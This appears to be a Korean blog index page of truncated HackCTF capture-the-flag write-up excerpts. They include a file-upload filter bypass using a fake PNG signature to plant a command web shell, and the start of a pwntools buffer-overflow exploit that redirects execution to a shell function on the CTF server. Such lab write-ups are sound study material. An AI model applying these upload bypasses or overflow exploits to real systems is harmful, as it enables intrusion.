HackCTF(78)
-
HACKCTF - AVR Programming (1)
하드웨어 문제여서 아 어렵겠구나~ 하고 두고 있었는데 심심해서 봤는데 빈칸채우기라서 쉽게 풀 수 있었다. 아두이노 코드를 보게되면 위와 같이 나오게 되는데 (1)~(6)을 각각 채워서 넣으면 된다. 처음에 https://jackinstitute.tistory.com/231 Atmega Serial 통신 실습 Atmega128로 배우는 마이크로컨트롤러 프로그래밍 도서를 보고 정리하는 글 이번에는 하드웨어 설정이 없지만 /*주의사항*/ 있음 Atmel studio에서 코딩한 결과를 Atmega로 옮길 때는 ISP로 해야하고(1), jackinstitute.tistory.com 해당 게시글을 보면서 했는데 계속 안풀려서 https://github.com/Jpub/ATmega328Programming/blob/..
2020.08.12 -
HACKCTF - 가위바위보
해당 문제를 보면 링크 하나를 던져주는데 들어가면 아래 와 같습니다. 들어가면 가위바위보 등등의 게임이 있는데, 처음에는 게임 데이터 변조해서 몇번 이상 이기면 flag를 주는 그런 형식의 문제인줄 알있고, 2번쨰로는 사용자 정보 변경 페이지에 들어가면 이렇게 이름 변경이 가능한데 이부분에서 xss가 터질까? 에 대한 생각도 해봤지만, 아니였습니다. 그래서 마지막 fileupload부분에서 취약점이 발생할 것 같아서 이 부분에서 ex를 시도했습니다. 앞에 png 파일시그니처를 붙여줬습니다. 그 이유는 업로드 하려고보니 이미지 형식이 아니라고 안되더라고요 ㅠㅠ 이 상태에서 업로드햐면 이처럼 이미지거 avatars/[사용자계정]으로 바뀌니 cmd에 값을 입력해주려면 사용자이름도 파일명으로 바꿔줘야 할 것 입..
2020.08.10 -
HackCTF - Classic Cipher -1
해당 문제를 보면 파일하나를 주고, 힌트로 [::-1]을 줍니다. 해당 파일을 보면 이러한 문자열 하나를 주는데요, 힌트가 [::-1]을 줬으니, 파이썬으로 똑같이 해줍시다. "mshn pz K0_f0b_ru0d_J4lz4y?" 이런 문자열 하나를 주는데 카이사르 같은 느낌이 들어서 툴로 돌려봤습니다. 바로 flag를 확인할 수 있네요 ㅎ
2020.08.07 -
HACKCTF - You are silver
해당 문제를 실행시켜보면 이름을 입력받고, 출력해주고, 세그멘테이션 오류를 출력합니다. ida로 메인함수부분을 확인해보면 printf에서 입력은 부분들을 그대로 출력해주니 이 부분에서 segmentation오류가 발생합니다. 아마 FBS관련 문제 같았습니다. 하지만.. 전 fsb에 대해서 약점을 가지고있어서... 공부하고 오느라 푸는데 시간이 3일정도 걸렸습니다. ㅎㅎ 문제 보고 fsb 공부하려고 dreamhack가서 강의 처음부터 쭉 듣다가 st4nw한테 문제 받아서 풀려고했는데 그거보다 이게 쉬운문제같아서 바로 풀었습니다. 이제 다시 그문제 풀러 가야겠네요..ㅎㅎ 잡담이 길었고 다시 본론으로 들어가면 fsb문제인데, fsb를 발생시켜보면 6번째에서 주소값을 출력하는 것을 볼 수 있습니다. 그리고 코드..
2020.08.06 -
HACKCTF - 1996
pwnable문제입니다. 1996 파일 하나 주는데 해당 파일을 실행시켜보면 이렇게 인풋하나를 받고 다시 출력시켜줍니다. 16번째 줄을보면 해당중에서 name을 받고 shell을 띄워주는 함수가 있으니 ret를 여기로 주면 될 것 같습니다. 페이로드는 아래와 같습니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * r = remote("ctf.j0n9hyun.xyz", 3013) #r = process("./1996") e = ELF("./1996") context.log_level = "debug" shell = 0x0000000000400897 r.recvuntil("? ") payload = "" payload += "A"*0x410..
2020.08.06 -
HACKCTF - 잔상
해당 zip파일을 받고 압축을 풀게되면 섹시하신 선생님 두분이 계십니다. 똑같은 이미지 두개를 주고 FLAG를 찾으라고 하니 자연스럽게 DIFF가 생각이 났고 둘을 비교하기위해서 IHEX를 사용했습니다. 모두 개별적으로 비교하는건 힘들거같고, command+a + command C 가 자꾸 이상하게 오류가나서 다음과 같은 방법으로 hex값들을 출력하고, diffchecker.com/diff Diff Checker Try our desktop app Offline mode, advanced features and more www.diffchecker.com 사이트를 활용해서 다른 부분을 찾아서 FLAG를 조합했습니다. FLAG 사이트를 이용해도 좋지만, python으로 코드를 만들어보는것도 좋을 것 같네요.
2020.08.05